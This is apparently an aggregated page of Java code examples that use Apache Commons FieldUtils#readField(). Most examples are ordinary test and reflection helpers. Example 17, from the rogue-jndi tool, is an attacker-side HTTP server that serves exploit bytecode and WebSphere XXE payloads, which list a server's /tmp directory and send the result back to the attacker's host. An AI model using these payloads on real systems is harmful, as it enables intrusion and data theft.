Java Code Examples for org.apache.commons.lang3.reflect.FieldUtils#readField()

The following examples show how to use org.apache.commons.lang3.reflect.FieldUtils#readField() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: DelayedMessageSchedulerTest.java    From rqueue with Apache License 2.0 6 votes vote down vote up
@Test
public void start() throws Exception {
  doReturn(1).when(rqueueSchedulerConfig).getDelayedMessageThreadPoolSize();
  doReturn(true).when(rqueueSchedulerConfig).isAutoStart();
  doReturn(true).when(rqueueSchedulerConfig).isRedisEnabled();
  doReturn(1000L).when(rqueueSchedulerConfig).getDelayedMessageTimeInterval();
  doReturn(redisMessageListenerContainer)
      .when(rqueueRedisListenerContainerFactory)
      .getContainer();
  messageScheduler.onApplicationEvent(new RqueueBootstrapEvent("Test", true));
  Map<String, Boolean> queueRunningState =
      (Map<String, Boolean>) FieldUtils.readField(messageScheduler, "queueRunningState", true);
  assertEquals(2, queueRunningState.size());
  assertTrue(queueRunningState.get(slowQueue));
  assertEquals(
      2, ((Map) FieldUtils.readField(messageScheduler, "queueNameToScheduledTask", true)).size());
  assertEquals(
      2, ((Map) FieldUtils.readField(messageScheduler, "channelNameToQueueName", true)).size());
  Thread.sleep(500L);
  messageScheduler.destroy();
}
 
Example 2
Source File: DelayedMessageSchedulerTest.java    From rqueue with Apache License 2.0 6 votes vote down vote up
@Test
public void stop() throws Exception {
  doReturn(1).when(rqueueSchedulerConfig).getDelayedMessageThreadPoolSize();
  doReturn(true).when(rqueueSchedulerConfig).isAutoStart();
  doReturn(true).when(rqueueSchedulerConfig).isRedisEnabled();
  doReturn(1000L).when(rqueueSchedulerConfig).getDelayedMessageTimeInterval();
  doReturn(redisMessageListenerContainer)
      .when(rqueueRedisListenerContainerFactory)
      .getContainer();
  messageScheduler.onApplicationEvent(new RqueueBootstrapEvent("Test", true));
  Thread.sleep(500L);
  messageScheduler.onApplicationEvent(new RqueueBootstrapEvent("Test", false));
  Map<String, Boolean> queueRunningState =
      (Map<String, Boolean>) FieldUtils.readField(messageScheduler, "queueRunningState", true);
  assertEquals(2, queueRunningState.size());
  assertFalse(queueRunningState.get(slowQueue));
  assertEquals(
      2, ((Map) FieldUtils.readField(messageScheduler, "channelNameToQueueName", true)).size());
  assertTrue(
      ((Map) FieldUtils.readField(messageScheduler, "queueNameToScheduledTask", true)).isEmpty());
  messageScheduler.destroy();
}
 
Example 3
Source File: ResultCodeTest.java    From prebid-mobile-android with Apache License 2.0 6 votes vote down vote up
@Test
public void testSuccessForMoPub() throws Exception {

    HttpUrl httpUrl = server.url("/");
    Host.CUSTOM.setHostUrl(httpUrl.toString());
    PrebidMobile.setPrebidServerHost(Host.CUSTOM);
    PrebidMobile.setApplicationContext(activity.getApplicationContext());
    PrebidMobile.setPrebidServerAccountId("123456");
    server.enqueue(new MockResponse().setResponseCode(200).setBody(MockPrebidServerResponses.oneBidFromAppNexus()));
    BannerAdUnit adUnit = new BannerAdUnit("123456", 300, 250);
    MoPubView testView = new MoPubView(activity);
    OnCompleteListener mockListener = mock(OnCompleteListener.class);
    adUnit.fetchDemand(testView, mockListener);
    DemandFetcher fetcher = (DemandFetcher) FieldUtils.readField(adUnit, "fetcher", true);
    PrebidMobile.setTimeoutMillis(Integer.MAX_VALUE);
    ShadowLooper fetcherLooper = shadowOf(fetcher.getHandler().getLooper());
    fetcherLooper.runOneTask();
    ShadowLooper demandLooper = shadowOf(fetcher.getDemandHandler().getLooper());
    demandLooper.runOneTask();
    Robolectric.flushBackgroundThreadScheduler();
    Robolectric.flushForegroundThreadScheduler();
    verify(mockListener).onComplete(ResultCode.SUCCESS);
    assertEquals("hb_pb:0.50,hb_env:mobile-app,hb_pb_appnexus:0.50,hb_size:300x250,hb_bidder_appnexus:appnexus,hb_bidder:appnexus,hb_cache_id:df4aba04-5e69-44b8-8608-058ab21600b8,hb_env_appnexus:mobile-app,hb_size_appnexus:300x250,hb_cache_id_appnexus:df4aba04-5e69-44b8-8608-058ab21600b8,", testView.getKeywords());

}
 
Example 4
Source File: ResultCodeTest.java    From prebid-mobile-android with Apache License 2.0 6 votes vote down vote up
@Test
public void testNoBids() throws Exception {
    HttpUrl httpUrl = server.url("/");
    Host.CUSTOM.setHostUrl(httpUrl.toString());
    PrebidMobile.setPrebidServerHost(Host.CUSTOM);
    PrebidMobile.setApplicationContext(activity.getApplicationContext());
    PrebidMobile.setPrebidServerAccountId("123456");
    server.enqueue(new MockResponse().setResponseCode(200).setBody(MockPrebidServerResponses.noBid()));
    BannerAdUnit adUnit = new BannerAdUnit("123456", 300, 250);
    MoPubView testView = new MoPubView(activity);
    OnCompleteListener mockListener = mock(OnCompleteListener.class);
    adUnit.fetchDemand(testView, mockListener);
    DemandFetcher fetcher = (DemandFetcher) FieldUtils.readField(adUnit, "fetcher", true);
    PrebidMobile.setTimeoutMillis(Integer.MAX_VALUE);
    ShadowLooper fetcherLooper = shadowOf(fetcher.getHandler().getLooper());
    fetcherLooper.runOneTask();
    ShadowLooper demandLooper = shadowOf(fetcher.getDemandHandler().getLooper());
    demandLooper.runOneTask();
    Robolectric.flushBackgroundThreadScheduler();
    Robolectric.flushForegroundThreadScheduler();
    verify(mockListener).onComplete(ResultCode.NO_BIDS);
    assertEquals(null, testView.getKeywords());
}
 
Example 5
Source File: ListTools.java    From o2oa with GNU Affero General Public License v3.0 6 votes vote down vote up
@SuppressWarnings("unchecked")
public static <T, W> List<T> extractField(List<W> list, String name, Class<T> clz, Boolean ignoreNull,
		Boolean unique) throws Exception {
	List<T> values = new ArrayList<>();
	if (isEmpty(list)) {
		return values;
	}
	for (W w : list) {
		Object o = FieldUtils.readField(w, name, true);
		if (null == o && ignoreNull) {
			continue;
		}
		if (unique && values.contains(o)) {
			continue;
		}
		if (null == o) {
			values.add(null);
		} else {
			values.add((T) o);
		}
	}
	return values;
}
 
Example 6
Source File: JSONFilter.java    From mojito with Apache License 2.0 6 votes vote down vote up
private ITextUnit getEventTextUnit() {
    ITextUnit textUnit = null;
    JsonEventBuilder eventBuilder = null;
    List<Event> events = null;

    try {
        eventBuilder = (JsonEventBuilder) FieldUtils.readField(this, "eventBuilder", true);
        events = (List<Event>) FieldUtils.readField(eventBuilder, "filterEvents", true);
    } catch (Exception e) {
        logger.error("Can't get the eventBuilder", eventBuilder);
        throw new RuntimeException(e);
    }

    Optional<Event> event = Lists.reverse(events).stream().filter(Event::isTextUnit).findFirst();

    if (event.isPresent()) {
        textUnit = event.get().getTextUnit();
    }
    return textUnit;
}
 
Example 7
Source File: SpliceDefaultCompactor.java    From spliceengine with GNU Affero General Public License v3.0 6 votes vote down vote up
/**
 *
 * This only overwrites favored nodes when there are none supplied.  I believe in later versions the favoredNodes are
 * populated for region groups.  When this happens, we will pass those favored nodes along.  Until then, we attempt to put the local
 * node in the favored nodes since sometimes Spark Tasks will run compactions remotely.
 *
 * @return
 * @throws IOException
 */
protected InetSocketAddress[] getFavoredNodes() throws IOException {
    try {
        RegionServerServices rsServices = (RegionServerServices) FieldUtils.readField(((HStore) store).getHRegion(), "rsServices", true);
        InetSocketAddress[] returnAddresses = (InetSocketAddress[]) MethodUtils.invokeMethod(rsServices,"getFavoredNodesForRegion",store.getRegionInfo().getEncodedName());
        if ( (returnAddresses == null || returnAddresses.length == 0)
                && store.getFileSystem() instanceof HFileSystem
                && ((HFileSystem)store.getFileSystem()).getBackingFs() instanceof DistributedFileSystem) {
            String[] txvr = conf.get("dfs.datanode.address").split(":"); // hack
            if (txvr.length == 2) {
                returnAddresses = new InetSocketAddress[1];
                returnAddresses[0] = new InetSocketAddress(hostName, Integer.parseInt(txvr[1]));
            }
            else {
                SpliceLogUtils.warn(LOG,"dfs.datanode.address is expected to have form hostname:port but is %s",txvr);
            }
        }
        return returnAddresses;
    } catch (Exception e) {
        SpliceLogUtils.error(LOG,e);
        throw new IOException(e);
    }

}
 
Example 8
Source File: Fields.java    From junit-servers with MIT License 5 votes vote down vote up
/**
 * Read private field on given instance.
 *
 * @param instance Object instance.
 * @param name Name of field.
 * @param <T> Type of field value.
 * @return The value of the field.
 */
@SuppressWarnings("unchecked")
public static <T> T readPrivate(Object instance, String name) {
	try {
		return (T) FieldUtils.readField(instance, name, true);
	}
	catch (IllegalAccessException ex) {
		throw new AssertionError(ex);
	}
}
 
Example 9
Source File: Properties.java    From gremlin-ogm with Apache License 2.0 5 votes vote down vote up
/**
 * Get the keys of the element that have missing values.
 */
@SneakyThrows
public static <E extends Element> List<String> nullKeys(E element) {
  List<String> keys = new ArrayList<>();
  for (Field field : fields(element)) {
    Object propertyValue = FieldUtils.readField(field, element);
    if (isMissing(propertyValue)) {
      String propertyName = propertyKey(field);
      keys.add(propertyName);
    }
  }
  return keys;
}
 
Example 10
Source File: OghamPropertiesOnlyTest.java    From ogham with Apache License 2.0 5 votes vote down vote up
@Test
public void sendGridPropertiesDefinedInAppPropertiesOrInSystemPropertiesShouldOverrideOghamDefaultProperties() throws IllegalAccessException {
	SendGridV4Sender sender = builder.email().sender(SendGridV4Builder.class).build();
	DelegateSendGridClient delegate = (DelegateSendGridClient) sender.getDelegate();
	SendGrid sendGrid = (SendGrid) FieldUtils.readField(delegate, "delegate", true);
	assertThat(SendGridUtils.getApiKey(sendGrid), equalTo("ogham"));
	assertThat(sendGrid, not(sameInstance(springSendGridClient)));
}
 
Example 11
Source File: RelativeResolutionAssertions.java    From ogham with Apache License 2.0 5 votes vote down vote up
private static String getPrefix(RelativeResolver resolver) {
	try {
		return (String) FieldUtils.readField(resolver, "parentPath", true);
	} catch (IllegalAccessException e) {
		throw new IllegalStateException("Failed to get 'parentPath' field of RelativeResolver", e);
	}
}
 
Example 12
Source File: Fields.java    From junit-servers with MIT License 5 votes vote down vote up
/**
 * Read private field on given object instance.
 *
 * @param instance The object instance.
 * @param name The field name.
 * @param <T> Type of the returned value.
 * @return The value of the field on given instance.
 */
public static <T> T readPrivate(Object instance, String name) {
	try {
		@SuppressWarnings("unchecked")
		T value = (T) FieldUtils.readField(instance, name, true);

		return value;
	}
	catch (IllegalAccessException ex) {
		throw new AssertionError(ex);
	}
}
 
Example 13
Source File: SFContextServlet.java    From sailfish-core with Apache License 2.0 5 votes vote down vote up
private int determineTomcatHttpPort(ServletContext ctx) {

		try {
            Object o = FieldUtils.readField(ctx, "context", true);
            StandardContext sCtx = (StandardContext) FieldUtils.readField(o, "context", true);
            Container container = (Container) sCtx;

            Container c = container.getParent();
	        while (c != null && !(c instanceof StandardEngine)) {
	            c = c.getParent();
	        }

	        if (c != null) {
	            StandardEngine engine = (StandardEngine) c;
	            for (Connector connector : engine.getService().findConnectors()) {

                    if(connector.getProtocol().startsWith("HTTP")) {
	            		return connector.getPort();
	            	}

	            }
	        }

        } catch (Exception e) {
            logger.error("Could not determine http port", e);
        }

		return 0;

	}
 
Example 14
Source File: TreeViewWrapper.java    From pmd-designer with BSD 2-Clause "Simplified" License 5 votes vote down vote up
private Object getVirtualFlow(Skin<?> skin) {
    try {
        // On JRE 9 and 10, the field is declared in TreeViewSkin
        // http://hg.openjdk.java.net/openjfx/9/rt/file/c734b008e3e8/modules/javafx.controls/src/main/java/javafx/scene/control/skin/TreeViewSkin.java#l85
        // http://hg.openjdk.java.net/openjfx/10/rt/file/d14b61c6be12/modules/javafx.controls/src/main/java/javafx/scene/control/skin/TreeViewSkin.java#l85
        // On JRE 8, the field is declared in the VirtualContainerBase superclass
        // http://hg.openjdk.java.net/openjfx/8/master/rt/file/f89b7dc932af/modules/controls/src/main/java/com/sun/javafx/scene/control/skin/VirtualContainerBase.java#l68

        return FieldUtils.readField(skin, "flow", true);
    } catch (IllegalAccessException ignored) {

    } catch (RuntimeException re) {
        if (!reflectionImpossibleWarning && "java.lang.reflect.InaccessibleObjectException".equals(re.getClass().getName())) {
            // that exception was introduced for Jigsaw (JRE 9)
            // so we can't refer to it without breaking compat with Java 8

            // TODO find a way to report errors in the app directly, System.out is too shitty

            System.out.println();
            System.out.println("On JRE 9+, the following VM argument makes the controls smarter:");
            System.out.println("--add-opens javafx.controls/javafx.scene.control.skin=ALL-UNNAMED");
            System.out.println("Please consider adding it to your command-line or using the launch script bundled with PMD's binary distribution.");

            reflectionImpossibleWarning = true;
        } else {
            throw re;
        }
    }
    return null;
}
 
Example 15
Source File: ResourceResolverAssertions.java    From ogham with Apache License 2.0 5 votes vote down vote up
@SuppressWarnings("unchecked")
private static <T> Set<T> findResolvers(FirstSupportingResourceResolver resolver, Class<T> resolverClass) {
	try {
		Set<T> found = new HashSet<>();
		List<ResourceResolver> subresolvers = (List<ResourceResolver>) FieldUtils.readField(resolver, "resolvers", true);
		for (ResourceResolver r : subresolvers) {
			found.addAll(findResolvers(r, resolverClass));
		}
		return found;
	} catch (IllegalAccessException e) {
		throw new IllegalStateException("Failed to get 'resolvers' field of FirstSupportingResourceResolver", e);
	}
}
 
Example 16
Source File: ImageEyesFactoryTests.java    From vividus with Apache License 2.0 4 votes vote down vote up
private RectangleSize readViewportSize(Eyes eyes) throws IllegalAccessException
{
    return (RectangleSize) FieldUtils.readField(eyes, "viewportSize", true);
}
 
Example 17
Source File: HttpServer.java    From rogue-jndi with MIT License 4 votes vote down vote up
public void handle(HttpExchange httpExchange) {
	try {
		String path = httpExchange.getRequestURI().getPath();
		System.out.println("new http request from " + httpExchange.getRemoteAddress() + " asking for " + path);

		switch (path) {
			case "/xExportObject.class":
				//send xExportObject bytecode back to client
				httpExchange.sendResponseHeaders(200, exportByteCode.length);
				httpExchange.getResponseBody().write(exportByteCode);
				break;

			case "/xExportObject.jar":
				//send xExportObject bytecode in a jar archive
				//payload for artsploit.controllers.WebSphere1-2
				httpExchange.sendResponseHeaders(200, exportJar.length+1);
				httpExchange.getResponseBody().write(exportJar);
				System.out.println("Stalling connection for 60 seconds");
				Thread.sleep(60000);
				System.out.println("Release stalling...");
				break;

			case "/upload.wsdl":
				//payload for artsploit.controllers.WebSphere1-2
				//intended to upload xExploitObject.jar into the /temp directory on server
				String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.hostname + ":" + Config.httpPort +
						"/xExploitObject.jar!/file.txt\"><a></a>";
				httpExchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
				httpExchange.getResponseBody().write(uploadWsdl.getBytes());
				break;

			case "/xx.http":
				//payload for artsploit.controllers.WebSphere1-2
				//second part for upload.wsdl
				String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace=\"uri\" location=\"http://" +
						Config.hostname + ":" + Config.httpPort + "/xxeLog?%aaa;\"/>&#39;>'>%ccc;";
				httpExchange.sendResponseHeaders(200, xxhttp.getBytes().length);
				httpExchange.getResponseBody().write(xxhttp.getBytes());
				break;

			case "/list.wsdl":
				//payload for artsploit.controllers.WebSphere1-2
				//intended to list files in the /temp directory on server
				String listWsdl = "" +
						"<!DOCTYPE x [\n" +
						"  <!ENTITY % aaa SYSTEM \"file:///tmp/\">\n" +
						"  <!ENTITY % bbb SYSTEM \"http://" + Config.hostname + ":" + Config.httpPort + "/xx.http\">\n" +
						"  %bbb;\n" +
						"]>\n" +
						"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
						"  &ddd;\n" +
						"</definitions>";

				httpExchange.sendResponseHeaders(200, listWsdl.getBytes().length);
				httpExchange.getResponseBody().write(listWsdl.getBytes());
				break;

			case "/xxeLog":
				//xxe logger for websphere wsdl payloads
				//hacky way to access private fields of (Request)((ExchangeImpl)((HttpExchangeImpl)httpExchange).impl).req
				Object exchangeImpl = FieldUtils.readField(httpExchange, "impl", true);
				Object request = FieldUtils.readField(exchangeImpl, "req", true);
				String startLine = (String) FieldUtils.readField(request, "startLine", true);

				System.out.println("\u001B[31mxxe attack result: " + startLine + "\u001B[0m");
				httpExchange.sendResponseHeaders(200, 0);
				break;

			default:
				httpExchange.sendResponseHeaders(200, 0);
		}
		httpExchange.close();
	} catch(Exception e) {
		e.printStackTrace();
	}
}
 
Example 18
Source File: ReflectionUtils.java    From jackdaw with Apache License 2.0 4 votes vote down vote up
@SuppressWarnings("unchecked")
public static <T> T readField(final Object object, final String name) throws Exception {
    return (T) FieldUtils.readField(object, name, true);
}
 
Example 19
Source File: QueryConnectionTest.java    From kylin with Apache License 2.0 4 votes vote down vote up
@SuppressWarnings("unchecked")
private static Map<InternalProperty, Object> dirtyReadProperties(Connection connection) throws IllegalAccessException {
    assertTrue(connection instanceof CalciteConnection);
    return (Map<InternalProperty, Object>) FieldUtils.readField(connection, "properties");

}
 
Example 20
Source File: ClassLoaderUtils.java    From confucius-commons with Apache License 2.0 3 votes vote down vote up
/**
 * Get loaded classes {@link Set} under specified {@link ClassLoader}( not all inheritable {@link ClassLoader
 * ClassLoaders})
 *
 * @param classLoader
 *         {@link ClassLoader}
 * @return Read-only {@link Set}
 * @throws UnsupportedOperationException
 *         If JVM does not support
 * @throws NullPointerException
 *         If <code>classLoader</code> argument is <code>null</code>
 * @see #getAllLoadedClasses(ClassLoader)
 */
@Nonnull
public static Set<Class<?>> getLoadedClasses(ClassLoader classLoader) throws UnsupportedOperationException {
    final Set<Class<?>> classesSet;
    try {
        List<Class<?>> classes = (List<Class<?>>) FieldUtils.readField(classLoader, "classes", true);
        classesSet = Sets.newLinkedHashSet(classes);
    } catch (IllegalAccessException e) {
        throw jvmUnsupportedOperationException(e);
    }
    return Collections.unmodifiableSet(Sets.newLinkedHashSet(classesSet));
}